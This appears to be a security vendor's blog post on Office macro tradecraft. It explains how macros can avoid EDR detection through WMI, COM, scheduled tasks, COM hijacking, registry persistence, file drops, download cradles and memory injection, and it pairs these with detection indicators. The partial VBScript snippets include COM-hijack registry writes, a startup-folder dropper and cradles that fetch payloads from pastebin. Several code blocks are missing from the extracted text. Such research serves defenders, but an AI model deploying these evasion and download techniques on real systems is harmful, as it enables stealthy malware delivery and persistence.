Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
seen by Countercept and often present the easiest and simplest way to compromise most
organisations. However, common payloads haven’t changed that much over time, aside from the
addition of increasingly complex obfuscation.
In this post we’ll discuss the main macro execution options and the kinds of endpoint (EDR) activity
they generate, as well as future directions that are being/may be taken by threat actors and the
detection techniques that can be applied.
Obfuscation of macro code will not be covered in this post, as this is a huge topic in of itself.
For example, Emotet [1] has consistently used a winword/cmd/PowerShell combo similar to:
A nice LOLBin example is APT28 using certutil from a macro to decode a payload once it’s been
downloaded:
Although macro payloads are often heavily obfuscated and can bypass static analysis, approaches
like this generate anomalous patterns of activity that are easily detectable with an EDR agent.
So is that the end of macro-based attacks? Far from it. As an attacker, we just need to be smarter
about how we are executing our payloads. We need to think more about dechaining (spreading
activity over different techniques, systems, time periods or user accounts), different payload
deployment techniques, and think about blending in. All of these introduce complexity from a
defensive point of view and decrease the chance you’ll be caught.
There are a huge number of possibilities when you apply this concept to macros, as VBScript lets you
change files, memory and the registry, providing many ways to bypass both static and dynamic
analysis. In the following sections we’ll discuss some of the options that exist.
The first and one of the most commonly seen is using WMI to launch a new process [2]. Using this
technique the new process will be spawned under “wmiprvse.exe” instead of the Office process. The
code to perform this is below:
Another option is to use Parent PID Spoofing with CreateProcessA. In a previous blog post we
showed how this technique can be used directly from a macro to execute a process from an arbitrary
parent process [3].
The final technique to mention is using COM. COM is a really interesting approach as you can
essentially reference any COM object (effectively another executable) from VBScript and use its
functions. For example, the object ShellBrowserWindow can be used to execute new processes from
Explorer:
Another variant is the use of XMLDOM, which was discovered by MDSec. The power of this object is
that it allows both the download and execution of code within the Office process, all in just five lines of
code. [4]
Last year Countercept saw an increase in the number of macro-based malware campaigns, such as
Dridex, which used scheduled task creation instead of executing new processes directly from Office.
The in-the-wild code was directly taken from a Microsoft post [5]. A condensed version is below:
Aside from the task creation itself, another nice detection indicator here is the use of taskschd.dll,
which will be loaded by Office when the Schedule.Service object is created.
It's also possible to create services directly from VBScript using Win32_BaseService; however, this
requires administrative/high integrity access so in general is not a good approach.
Registry Modification
VBScript also allows access to the registry - allowing the storing of payloads, modification of settings,
and creation of persistence entries directly from a macro. This is another great way to dechain second
stage payload execution from the initial macro dropper, as payloads can be configured to execute on
boot as opposed to directly executing from the macro.
I’ve included two Run Key creation examples below, one using WMI, the other using WScript.
Viewing the WMI activity in ProcMon we can confirm wmiprvse is responsible for the key creation. The
second example using WScript won’t spawn a new process and instead creates the keys directly from
winword:
From a defensive perspective looking for registry writes to persistence locations from Office would be
a nice indicator here. From the offensive side you'd probably want to use the WMI approach as it may
blend in more. Also, to make this operational we could set our value to PowerShell or a LOLBin, like
regsvr32. Although this would be somewhat noisy from an endpoint perspective the big advantage
would be a very small macro payload, literally two lines!
While the previous approach is easy to implement, in general creating such obvious persistence
entries will increase your chances of being caught. A far more stealthy approach would be to use
registry-based COM hijacking in combination with a dropped file. GData have a great post [6] where
they covered a real-world COM hijacking example that replaced COM values to redirect execution. A
similar variant was demonstrated by Enigma, which abused HKCR loading, as well as Scheduled
Tasks that referenced COM entries. [7]
The following VBScript recreates this attack creating a malicious entry for the MsCtfMonitor Scheduled
Task:
Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
clsid = "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
objRegistry.CreateKey &H80000001, "Software\Classes\CLSID\" & clsid & "\In
objRegistry.SetStringValue &H80000001, "Software\Classes\CLSID\" & clsid &
objRegistry.SetStringValue &H80000001, "Software\Classes\CLSID\" & clsid &
From a defensive perspective it may be difficult to detect this activity unless you are specifically
analysing CLSID registry keys being modified or performing least frequency analysis of loaded
modules.
Although we won’t cover an example, do remember that you could also store a payload within the
registry and then retrieve/execute it using a different technique. Office often references the following
path “HKCU\Software\Microsoft\Office\15.0\*” making it potentially a nice location for hiding payloads.
Dropping Files
Dropping files has its pros and cons. Making changes to disk can often mean payloads are analyzed
by antivirus and leave forensic artefacts. Yet in most breaches attackers still use payloads dropped to
disk due to the convenience and ease of having a solid foothold in a network.
In VBScript we can make use of the FileSystemObject to drop files. A crude example is shown below
where a startup item is added:
Path = CreateObject("WScript.Shell").SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(Path & "\test.bat", True)
objFile.Write "notepad.exe" & vbCrLf
objFile.Close
As the execution of the payload would only occur at startup this nicely dechains our initial
stager/payload from the macro activity. However, Office creating a BAT file or any file in the startup
folder is somewhat suspicious and something defenders may spot.
By carefully choosing filenames, file paths and file metadata we can make it a lot more difficult for
defenders to spot anomalous files. For example, we could blend in more by mirroring typical Winword
activity and use one of the below real world entries:
C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WR
C:\Users\<user>\AppData\Local\Temp\CVR497F.tmp
C:\Users\<user>\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77
A really nice combined file drop/persistence method would be to modify the default Office template at:
C:\Users\<user>\AppData\Roaming\Microsoft\Templates\Normal.dotm
From a defensive perspective it would be difficult to detect template modification from Office as
malicious.
Download Content
There are multiple ways VBScript can be used to download content. This content can then be dropped
to disk, inserted into the registry or injected into memory.
One of the most common and simplest methods is using the XMLHTTP library along with ADODB to
output to file.
Another option would be to use a direct API call, for example a simple VBScript download cradle can
be implemented using URLDownloadToFIleA.
Part of the challenge with the previous techniques is that they will generate an outbound network
connection from Office. A slightly sneakier approach is to use Internet Explorer COM; this will spawn a
browser from svchost (not Office) to download content:
Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "https://pastebin.com/raw/tcmMXwMG"
State = 0
Do Until State = 4
DoEvents
DoEvents
State = ie.readyState
Loop
Dim payload: payload = ie.Document.Body.innerHTML
Another potential trick to use here is copying and using system binaries to download/execute a
payload. This approach has previously been used by threat actors to evade naïve detection rules that
look for specific process names/paths; e.g. PowerShell, mshta, certutil etc. This approach is really
simple using the copyfile function:
The above example shows how a renamed certutil can be used to download a payload. A file write
event will be seen from Office, but use a common path and filename used by Office. I also added a
sneaky echo 1 to modify the hash of the file. This trick would be useful to evade detection rules going
by hash, but could still be detected by defenders looking at file metadata. As mentioned previously,
any use of LOLBins or spawning of cmds in such a way is not recommended, especially as we could
have completed our actions from within the macro itself.
Which will give us a text blob that is our binary to insert in the document, and a macro to extract and
drop to disk. It’s worth mentioning I hit a size error when doing this:
“Error: The EXE generator now has a max size of 2048 bytes, please fix the
I ended up hacking the below file and increasing the size limit from 2048 to 204800, which fixed the
error:
/opt/metasploit-framework/embedded/framework/lib/msf/util/exe.rb
The one issue with the default Metasploit template is that it spawns processes from Office, which is
the opposite of what we want to do. However, it’s relatively easy to adjust the code to replace the
“Shell” execute command with one of the parent/child evasion techniques described in this post.
Memory Injection
As shown before, we can use Windows API functions directly in our macro to obtain access to more
powerful lower level OS functionality. One application of this is memory injection in order to execute
shellcode directly from the memory of the current process or another process. There are a few
advantages to this approach including:
Although not required, this approach is particularly powerful when the payload is downloaded on the
fly as opposed to being included within the macro itself. This aids in making analysis more difficult or
even not possible at all if IP locking or some kind of host/domain keying is used in the C2.
There are many possible memory injection techniques and pretty much all of them can be ported to
VBScript. Endgame has a great post covering the main techniques here [8]. These have long been
abused by attackers. Hancitor malware, for example, has used injection/execution of shellcode within
Office processes before using process hollowing to move into a separate process [9].
There are, however, some caveats with memory injection when it comes to EDR:
Anomalous API Calls – Antivirus and EDR will often monitor specific APIs that are commonly
used for memory injection. Making use of functions such as VirtualAlloc, VirtualProtect,
SetThreadContext, CreateThread/CreateRemoteThread will increase your chance of being caught.
Macro Code Size/Content – One drawback of using memory modification code is that your macro
code will tend to become larger and can expose you to static detection. I would recommend
keeping macro payloads as small/simple as possible to avoid detection.
Memory permissions – Often attackers will use RWX permissions when allocating memory.
However, the existence of non file-backed memory regions that are marked as RWX can be
anomalous. Switching memory permission to RX once a payload has been written in memory can
help bypass such detection (although this activity in itself can be anomalous!).
For these reasons (and added development complexity) it can often be preferable to actually avoid
memory injection techniques when it comes to macro delivery.
I created a basic DLL payload to launch notepad, this was then converted to hex with the PowerShell
below and uploaded to Pastebin:
Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "https://pastebin.com/raw/g10EQ6PS"
State = 0
Do Until State = 4: DoEvents: State = ie.readyState: Loop
Dim payload: payload = ie.Document.Body.getElementsByTagName("pre").Item(0
p = Environ("TEMP") & "\CVR" & Int(Rnd * 999) + 1 & "F.tmp.cvr"
From a detection point of view there are a few different indicators. The rundll execution for example
will show up in process data. Although it mimics legitimate activity seen in the real world, you could
potentially alert on the reference to a temporary location or module load from a temporary location.
Another subtle detection indicator here is the size of the file dropped, during testing legit tmp files were
always zero kilobytes, whereas a payload will obviously be a lot larger.
One final indicator was actually Antivirus, with no obfuscation this payload was 9/58 on VirusTotal.
However as always this is probably something which can easily be evaded, maybe a challenge for
another post ;)
Conclusion
The Office macro is a tried and tested attack vector that is still widely used in a significant number of
attacks. On the surface you might assume that with the rise of EDR tooling such attacks could be
prevented. However, as shown in this post, with some clever ingenuity there are multiple ways to
bypass common detection approaches.
With carefully chosen payloads Blue teamers will be pushed to their limits in detecting such activity
due to the way it can blend in with legitimate behaviour. As always this emphasises the need for
continual research and improvements in detection tooling to keep pace with offensive innovation.
References
[1] https://countercept.com/blog/hunting-for-emotet/
[2] https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-tasks--processes
[3] https://www.countercept.com/blog/detecting-parent-pid-spoofing/
[4] https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/
[5] https://docs.microsoft.com/en-gb/windows/desktop/TaskSchd/time-trigger-example--scripting-
[6] https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-
persistence
[7] https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-
hijacking/
[8] https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-
common-and-trending-process
[9] http://blog.morphisec.com/hancitor-macro-malware-with-process-hollowing
[10] https://gist.github.com/mgeeky/9dee0ac86c65cdd9cb5a2f64cef51991